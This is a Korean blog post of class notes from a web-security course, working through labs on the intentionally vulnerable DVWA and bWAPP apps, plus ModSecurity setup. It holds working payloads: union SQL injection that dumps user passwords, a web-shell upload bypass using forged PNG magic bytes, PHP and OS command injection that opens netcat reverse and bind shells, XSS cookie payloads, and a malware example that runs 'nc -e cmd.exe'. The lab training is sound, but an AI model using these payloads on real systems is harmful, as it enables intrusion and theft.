* Blind SQL 인젝션
- DB에 대한 정보가 없는 상태에서 SQL문을 조작해서 DB명, Table명, Column명 등을 알아내는 방법
- 에러가 힌트가 되기 때문에 오류를 일으키거나, 한글자씩 확인하는 방식 => 자동화된 도구 사용(SQLmap)
* Command Execution
- 공격자는 검색창에 리눅스 명령어를 실행하려고 함 (Beebox에서 php코드 인젝션)
실습)
- VMware를 켜고 dvwa를 선택
- play virtual Machine 클릭
* SQL Injection
- 목적 : 모든 사용자의 ID와 PW를 알아내는것(모른다고 가정)
- SQLmap 사용금지
- SQL문 예상
-SELECT id,firstname,surname FROM ??? WHERE id=' ' ;
id부분에 어떻게 넣을까
1단계) 컬럼개수 확인
' union select 1 # // 컬럼 개수 맞지 않음
' union select 1,2 # // 정상 실행됨
' union select 1,2,3 # // 컬럼개수 맞지 않음
2단계 DB이름 알아내기
' union select database(),version() # => dvwa
`
3단계) Table이름 알아내기
' union select table_name,null from information_schema.tables #
' union select table_name,null from information_schema.tables where table_schema='dvwa' #
=> guestbook, users
4단계) Column이름 알아내기
' union select column_name,null from information_schema.columns #
' union select column_name,null from information_schema.columns where table_schema='dvwa' and table_name='users' #
5단계) user, password를 추출
' union select user,password from dvwa.users # // dvwa에 있는 users 테이블에서만 데이터 추출
참고 ) columns 테이블과 tables 테이블에 table
medium복습(파일업로드 - b374k-2.8php)
=> proxy도구 활용(서버에서 검증하지 않고, client에서 검증하는 경우 , proxy에서 조작 가능)
upload된 모든 웹쉘 삭제 =>
high 도전
b374k-2.8.php => 업로드 불가능
b374k-2.8.png => 확장자는 맞긴한데 업로드 안됄듯..
* File Signature
- 파일의 정체성을 나타내는 부분
- 파일의 맨 앞부분에 특정한 표시를 함
- Magic Number라고함
* HxD.exe (Hex editor : 헥스 편집기)
- File > Open >
- PNG : 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
- JPG : FF D8 FF E0 00 10 4A 46 (아스키 코드 : ÿØÿà..JFIF) => FF D8로 시작해서 FF D9로 끝남
- EXE(blubell) : 4D 5A (MZ : Mark Zbicowski) = > MZ(4D 5A) 가 없으면 윈도우에서 파일을 실행할 수 없음
- pptx, docx, xlsx, apk(안드로이드 웹 확장자),zip파일 : 50 4B 03 04 (PK ; Phil Katz)
b374k-2.8png 파일을 HxD로 열어보세요.(high 실습)
89 50 4E 47 0D 0A 1A 0A 를 추가하고 저장하면 업로드됨
http://192.168.50.128/dvwa/hackable/uploads/b374k-2.8.png // 웹쉘 실행안됌! , 확장자가 png이므로 Apache2에서 실행못함
확장자를 png에서 php바꿔주려면?
리눅스 명령어 mv 명령어를 이용해서 바꿔줘야함
(레벨을 Low로 바꾼다음 Command Injection에서 명렁어 사용하면됨)
; mv ../../hackable/uploads/b374k-2.8.png ../../hackable/uploads/b374k-2.8.png(low로 바꾸고 , 커맨드 인젝션 들어가서 명령어 입력)
이후에 http://192.168.50.128/dvwa/hackable/uploads/b374k-2.8.php로 바꾸면 접속됨
사례) 악성코드
김수지 이력서.zip => (자동 풀림 압축파일)
이력서.hwp .bat=> nc 192.168.5.128 8000 -e cmd.exe
nc.exe (숨김파일 , 안보임)
sudo vi /etc/modsecurity/modsecurity.conf
:set nu // 왼쪽에 노란색 번호 표시
i // 편집모드로 변경 --끼워넣기--
7번 라인 DetectionOnly를 On으로 변경
187번 라인 (교재처럼 변경)
ESC키 // 명령모드로 변경
:wq // 저장하고 종료
참고) sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo systemctl restart apache2
sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
//뒤에 붙은 -recommended 제거
sudo apt install vim
sudo vi /etc/modsecurity/modsecurity.conf
***** 변경할 내용 *****
SecRuleEngine DetectionOnly SecRuleEngine On
SecAuditLogParts ABDEFHIJZ SecAuditLogParts ABCEFHJKZ
:wq //저장하고 종료
sudo systemctl restart apache2
ㅡㅡㅡㅡㅡ참고 끝ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
$ sudo vi /etc/apache2/mods-enabled/security2.conf (12~13 수정 ppt참조)
$ sudo apache2ctl -t (테스트 결과 syntax ok가 나와야함(안나오면 오타임)
$ sudo systemctl restart apache2 (재시작)
dvwa sql 인젝션 항목에 sql구문 넣으면 Forbidden이 나옴
웹방화벽이 설정 완료되면 (테스트할 떄는 Low에서)
1) SQL 인젝션
2) XSS
3) Upload
4) Command Injection
5) 다른 메뉴들도 해보기
* Beebox 테스트
A1. Injection
/PHP Code Injection/
message를 클릭하면 test로 출력(Reflecting = 입력값 반영)
URL에 test대신에 hello를 넣으면 hello라는 글자가 나옴
1단계) 리눅스 명령어를 실행시키려면?(구글에서 검색해보아야함 :php 명령을 실행하는 함수)
?message=exec('pwd')
?message=shell_exec('pwd')
?message=system('pwd')
?message=passthru('ps -ef')
?message=passthru('cat /var/log/wtmp')
2) Kali를 켜고 netcat을 이용해서 연결해보기
$ nc -l -p 8888
?message=exec('nc 192.168.50.130 8888 -e /bin/sh')
- Beebox : Victim : client
?message=exec('nc 192.168.50.120 8888 =e /bin/sh')
참고)
- 대부분의 리눅스에 netcat이 있음
- Android에도 들어있음 (-e 옵션을 사용할 수 없음)
/OS Command Injection/
OS Command Injection(Setting nc -l -p 7777 -e /bin/sh (칼리리눅스 터미널 입력)
입력칸에 아래와 같이 입력
; nc -l -p 7777 -e /bin/sh
/SQL Injection (GET/Select)/
- 어디에 입력하면 ID와 PW를 알 수 있을까요?
어디에 입력을?? 주소 표시줄 URL
?movie=2 (iron man)
?movie=5 (Spider man)
?movie=5 union select user,password from users // 컬럼 개수 맞지 않음 => 7개
?movie=5 union select 1,login,password,4,5,6,7 from users // 1~10까지는 DB에 있으므로 없는 번호인 11,12등을 사용
?movie=11 union select 1,login,password,4,5,6,7 from users
A3의 첫번째
/XSS - Reflected(GET)/
- 스크립트를 실행하는 것이 목적
<script>alert('good')</script>
1) Low : 그냥 됨
2) Medium
$ cd /var/www/bWAPP
$ sudo vi xss_get.php
(xss_check_4를 사용하고 있음)
:q
=> functions_external.php 파일에 보안 수준에 따른 설정이 되어있음
$ sudo vi functions_external.php
: set nu // 왼쪽에 라인번호 표시됨
(129~138 라인을 보면, xss_check_4는 addslashes()함수를 사용하고 있음)
:q
참고) addslashes함수는 ', ", \,NUL 앞에 \를 붙여서 Escape처리를 하고 있음 (출처 : php.net)
(Escape처리란, 특수문자가 기능을 하지 못하도록 하는것 = > 특수문자의 모양 그대로 출력되게 함)
<script>alert('good')</script>
<script>alert(01062314006)</script> // 정상적으로 실행 됨 => '(Single Quot)를 사용하지 않았기 떄문!
<script>alert(document.cookie)</script> // 자기 쿠키값을 출력
shielders를 출력하려면? String.from(CharCode()함수를 이용해보기
* CSRF(Cross Site Request Forgery)
- 스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹서버를 공격하는 방법
- 예를들면
자동 댓글달기 : 사용자가 게시판 글을 읽기만 했는데 스크립트가 실행되면서 자동으로 댓글이 달리거나 좋아요가 눌러짐
패스워드 변경 : 사용자의 패스워드를 변경하는 시도 => 로그인이 안돼는 문제
자동으로 탈퇴 요청 보내기
'애플리케이션 보안' 카테고리의 다른 글
루키즈 교육 - 0913 학습 (0) | 2022.09.13 |
---|---|
루키즈 교육 - 0908 학습 (0) | 2022.09.08 |
루키즈 교육 - 0906 학습 (0) | 2022.09.06 |
루키즈 교육 - 0905 학습 (0) | 2022.09.05 |
루키즈 교육 - 0902 학습 (1) | 2022.09.02 |